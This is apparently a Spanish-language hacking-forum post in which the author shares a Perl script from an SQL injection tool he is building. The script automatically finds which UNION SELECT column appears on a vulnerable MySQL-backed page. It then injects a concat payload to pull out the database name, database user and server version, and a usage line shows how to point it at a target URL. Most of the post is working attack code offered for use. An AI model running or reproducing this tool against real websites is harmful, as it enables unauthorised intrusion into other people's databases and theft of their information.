Lo que hace es Extraer la Informacion de database(), user(), y version() de la mysql, sin la nececidad de indicar en que parte mostrar los datos.
En realidad es una Funcion de una Tool para Injecciones SQL que estoy haciendo, y me parecio interesante compartirla.
Comunmente, en las tools de SQL, se tiene que indicar en donde injectar la Informacion por Ej.
.../noticias.php?id=1+and+1=0+1,2,3,4,AQUI,5,6,7
Lo cual este Script Hace, es encontrar ese "numero" de los campos, automaticamente para luego buscar la informacion.
SAludos¡
Código:
use LWP::UserAgent;
use HTTP::Request::Common;
#by OzX [NuKe/NB/UnderSecurity]
#DataExtract
#Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version.
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->default_header(
"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Referer" => "http://www.google.com"
);
use constant URL => $ARGV[0]; #Constante URL.
unless ($ARGV[0]) {
print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n";
print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n";
print "\n";
exit 0;
}
($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5..
($db,$user,$version) = detalles_bd($sql_num);
print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";
#Funcion Que Obtiene la Informacion de la Base de Datos
sub detalles_bd{
$_[0] = sql_num($sql_num);
$vars = numero($sql_num);
$string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)';
$sql_num =~s/$vars/$string_datos_db/;
$url = $uri."+".$sql_num;
$source = GETS($url);
($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g;
return ($db,$user,$version);
}
#Funcion para Evitar Problemas XD¡.
sub sql_num{
$num_total = split(",",$_[0]);
for ($x=1;$x<=$num_total;$x++){
$sql_num_correcto = $sql_num_correcto."$x,";
}
chop($sql_num_correcto);
return $sql_num_correcto;
}
#Funcion para Obtener los Numeros De la Inyeccion Base
sub numero{
local $sql_num = $_[0];
$sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0.
for ($x=1;$x<=$sql_num;$x++){
$url_hex = $url_hex.hex_sql("USNB$x").",";
}
chop($url_hex); #Eliminamos la Ultima ,
$url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL
$source_url_hex = GETS($url_inject);#SOURCE
( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES
$vars = @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$
return $vars;
}
#Funcion GETS
sub GETS{
return $browser->request(GET $_[0])->content;
}
#Funcion Hex_SQL
sub hex_sql($) {
(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str";
}